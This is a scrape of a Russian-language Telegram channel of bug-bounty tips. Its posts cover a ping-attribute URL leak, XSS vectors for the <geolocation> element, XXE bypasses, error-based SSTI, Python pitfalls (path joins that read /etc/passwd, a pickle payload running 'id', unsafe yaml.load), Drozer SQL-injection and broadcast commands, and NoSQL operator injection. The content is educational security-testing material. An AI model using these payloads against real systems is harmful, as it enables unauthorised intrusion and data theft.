Standoff Bug Bounty Tips
1.59K subscribers
241 photos
76 links
Download Telegram
Теги <a>/<area> могут раскрывать URL-адреса страниц + креды (источник, путь, запрос, фрагмент post-click) с помощью атрибута href="#" с атрибутом ping, указывающим на другое место.

Работает в 🌐 и 🌐 (в Firefox атрибут ping отключён по умолчанию).

При клике браузер отправляет POST-запрос, в заголовке Ping-To указывается URL. referrer-policy игнорируется — доставку ограничивает только директива connect-src в CSP.

Если страница загружена по HTTP или эндпоинт ping находится в том же origin, то ещё отправляется заголовок Ping-From с полным URL (включая фрагмент pre-click).

📌 Пример PoC
Please open Telegram to view this post
VIEW IN TELEGRAM
10👍2
InQL v6.1.0: как новая версия делает ее универсальной тулзой для тестирования безопасности GraphQL 🚨

Когда под капотом неизвестный GraphQL-стек, самое затратное — это разведка. InQL 6.1.0 сокращает этот этап до минимума.

Используй Fingerprinter движка InQL в Burp, чтобы за считанные секунды идентифицировать стек GraphQL и избавить себя от проб и ошибок. Разберем эту и другие новые фичи подробнее ⤵️

➡️ Брутфорсер схемы GraphQL (фича вдохновлена CLI-тулзой Clairvoyance Никиты Ступина)

До сих пор InQL был наиболее полезен, когда на сервере была включена функция introspection или когда у тебя уже был файл со схемой GraphQL.

В версии 6.1.0 тулза может попытаться восстановить схему бэкенда, используя подсказки “did you mean…”, поддерживаемые многими реализациями серверов GraphQL.

➡️ GraphQL Server Engine Fingerprinter

Новая версия InQL теперь может определять движок GraphQL, используемый внутренним сервером.

В каждом движке GraphQL реализованы немного отличающиеся друг от друга средства защиты и небезопасные настройки по умолчанию.

Это открывает возможности для использования уникальных векторов атак, характерных для конкретного движка.

➡️ Автоматическая генерация переменных (дефолтные значения)

Хотя предыдущие версии InQL отлично подходили для анализа схем, поиска циклических ссылок и определения интересующих точек, создание корректного запроса могло вызывать затруднения.

Тулза не поддерживала переменные, поэтому их приходилось вводить вручную. В новой версии эта проблема решена.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👌21
HTML-элемент <geolocation> → новый вектор для эксплуатации XSS 🌐

С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент <geolocation>.

Он задумывался как удобная альтернатива navigator.geolocation, чтобы запросы локации выглядели менее подозрительно и чаще получали разрешение от пользователя.

Новые векторы уже в шпаргалке от PortSwigger:

<geolocation onvalidationstatuschange=alert(1)>
<geolocation autolocate onlocation=alert(1)>
<geolocation onpromptdismiss=alert(1)>
<geolocation onpromptaction=alert(1)>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥212😈1
Техники байпаса XXE: заметки багхантера 🤔

Средства защиты от XXE сильно различаются по уровню сложности, и многие из них можно обойти.

1️⃣ Байпас фильтров валидации входных данных

⚫️ UTF-16 вместо ASCII

Во многих приложениях используются простые блэклисты ключевых слов, которые можно забайпасить с помощью кодировки и обфускации.

$ cat payload.xml | iconv-f UTF-8 -t UTF-16BE > utf16_payload.xml


Парсер XML по-прежнему будет корректно обрабатывать данные, но фильтры на основе ASCII не обнаружат вредоносный контент.

💡 Больше примеров кодировок XML и пограничных случаев — в райтапе "Evil XML with Two Encodings" Арсения Шароглазова

⚫️ HTML-entity кодирование

2️⃣ Параметрические сущности

Если приложение блокирует прямое объявление ENTITY, попробуй ввести её косвенно: подключить внешний DTD, а уже внутри него разместить пэйлоад.

3️⃣ XXE в нестандартных типах контента

⚫️ Изображения в формате SVG
⚫️ SOAP-эндпоинты

4️⃣ XInclude-атаки при ограничении использования DOCTYPE

Частая защита — просто вырезать DOCTYPE. Но если парсер поддерживает XInclude, это не спасает. XInclude позволяет подключать внешние ресурсы без DOCTYPE.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👌62
Error-based Server-Side Template Injection 🔥

В 2015 году James Kettle опубликовал исследование о Server-Side Template Injection (SSTI), которое описало классический вектор внедрения шаблонов на стороне сервера.

Дальше сообщество сосредоточилось на генерации пэйлоадов под разные языки и движки.

Ресёрч Влада Корчагина «Успешные ошибки: новые техники code injection и SSTI» (#1 в Top 10 web hacking techniques of 2025) предлагает другой подход — через эксплуатацию ошибок.

В результате сформировались две техники:
1️⃣ Error-Based
2️⃣ Boolean Error-Based Blind

Ключевые идеи:
🟠 Перенос методологии SQL-инъекций в шаблонные движки
🟠 Эксплуатация подробных сообщений об ошибках для утечки данных
🟠 Деление на ноль как булевый оракул
🟠 (1/0).zxy.zxy — универсальный detection-payload (polyglot)

Погрузись подробнее в тему:
🔗 Successful Errors: New Code Injection and SSTI Techniques
🔗 Доклад Влада на OFFZONE
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥112
Подводные камни Python: как ошибки разработчиков превращаются в уязвимости 🐍

Разработчики часто предполагают, что встроенные фичи автоматически выполняют очистку или обеспечивают безопасное поведение.

На практике многие из этих фич содержат нестандартные модели поведения, которыми можно злоупотреблять, превращая логические проблемы в уязвимости:

⚫️ os.path.join (built-in): если один из аргументов начинается с /, Python игнорирует предыдущие сегменты пути

import os
payload = "/etc/passwd"

file = os.path.join("/user/uploads/", payload)

with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”


⚫️ pathlib.joinpath (built-in): если какой-либо сегмент является абсолютным путём, он отбрасывает предыдущие части и продолжает работу с абсолютным путём

from pathlib import Path
payload = "/etc/passwd"

file = Path("/var/www/html").joinpath("files", payload)

with open(file, "r") as f:
print(f.read())
# выведет содержимое “/etc/passwd”


⚫️ pickle.loads (built-in): pickle.loads() может выполнять произвольные объекты Python

import pickle, base64
payload = "gASVHQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAJpZJSFlFKULg=="

# Выполнить код при десериализации (системная команда ”id”)
file = pickle.loads(base64.b64decode(payload))


⚫️ urllib.parse.urljoin (built-in): формирует итоговый URL, объединяя базовый URL с одним или несколькими компонентами URL

from urllib.parse import urljoin

payload = "http://evil.com/"
print(urljoin("http://example.com/", payload))
# вывод: http://evil.com/


⚫️ Функция load библиотеки PyYAML (внешняя либа): yaml.load() может выполнять произвольный Python-код, если ты контролируешь YAML

import yaml
user_data = "!!python/object/apply:print ['pwned']"

result = yaml.load(user_data, Loader=yaml.Loader)


⚫️ Python3 class pollution (built-in): некорректное присвоение атрибутов может позволить изменять структуру классов или объектов

Пост вдохновлен докладом Алекса Брумена "Python Pitfalls: Turning Developer Mistakes into Vulnerabilities" (текстовая версия) 💡
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11❤‍🔥2👍2👎2🔥1
Разведка Android-приложений: Drozer и анализ версий 📱

Статический анализ — только половина работы. Многие баги проявляются только во время выполнения приложения или появляются между версиями.

Лови несколько кейсов, которые часто находят то, что пропускают стандартные тулзы 🔽

1️⃣ Runtime-тестирование IPC через Drozer

Drozer позволяет напрямую взаимодействовать с компонентами Android-приложения: activities, services, broadcast, receivers, content providers.

После установки можно быстро проверить реальную поверхность атаки:
run app.package.attacksurface com.target.app


Дальше — интереснее. Например, можно попробовать запустить экспортированную дебаг activity:
run app.activity.start --component com.target.app com.target.app.DebugActivity


Такие activity иногда обходят авторизацию, раскрывают внутренние данные, дают доступ к скрытым фичам приложения.

2️⃣ Content provider → SQL-инъекция

Content providers часто работают как база данных между приложениями. Если provider экспортирован, можно потестить пэйлоад для SQLi:
run app.provider.query content://com.target.app.provider/users --projection "* FROM users; --"


3️⃣ Broadcast injection

Некоторые приложения слушают системные broadcast-события. Если действие не защищено, его может вызвать любое приложение:
run app.broadcast.send --action com.target.app.PRIVILEGED_ACTION --extra string key value


Так иногда удаётся триггерить фичи, которые разработчики считали внутренними.

4️⃣ Сравнение версий для анализа регрессий безопасности

Когда разработчики исправляют уязвимость, они часто закрывают конкретный кейс, а не весь класс проблемы.

Поэтому сравнение версий может показать:
какие проверки добавили,
какие дебаг фичи удалили,
какие API появились.

Быстрый способ посмотреть изменения:
apktool d target_v1.0.apk -o v1
apktool d target_v1.1.apk -o v2
diff -r v1/ v2/


💡 Иногда разработчики случайно выкатывают дебаг фичи в прод, а в следующем релизе убирают их. Этот короткий промежуток между версиями — отличная возможность протестить функциональность, пока она существует.

Посты по теме:
🔗 Первичный анализ любого APK-файла: советы багхантеру
🔗 Упрощаем обработку приложений APK / XAPK / APKM / DEX / JAR / WAR с помощью BFScan
🔗 Реверс приложений на Flutter
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1👨‍💻1
Эксплуатация NoSQLi с помощью массивов параметров 💨

Если приложение не принимает JSON и работает только с application/x-www-form-urlencoded, это не защита от NoSQL-инъекций.

Многие серверные либы автоматически преобразуют параметры вида:
username[$ne]=1


в объект:
{ username: { $ne: 1 } }


Таким образом, можно передавать NoSQL-операторы через обычные параметры формы 🔥

Ключевое:
➡️ Парсер на сервере преобразует массивы в объекты
➡️ Ограничение по Content-Type не спасает от инъекции
➡️ NoSQL-операторы можно внедрять без JSON
Please open Telegram to view this post
VIEW IN TELEGRAM
👍82
8 недооценённых фич Burp Suite, которые экономят часы тестирования ⚡️

Большинство багхантеров ограничиваются использованием Proxy (Interceptor), Repeater и Intruder 🥔

Но есть функции, которые реально ускоряют работу и помогают находить больше багов:

1️⃣ Macros → автоматизация рутины (полезно, когда токен меняется на каждый запрос)

2️⃣ Match & Replace → автоматическая подмена данных в запросах/ответах

3️⃣ Logger → продвинутый логгер поверх HTTP history (быстрый поиск аномалий)

4️⃣ Comparer → сравнение запросов и ответов

5️⃣ Find scripts → сбор всех JS-файлов и скрытых API

6️⃣ Send group in parallel → отправка запросов одновременно (особенно полезно при тестировании race condition)

7️⃣ Remove JS validation → обход фронтенд-валидации форм

8️⃣ Unhide hidden inputs → поиск скрытых параметров
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
12👍9👏3🫡3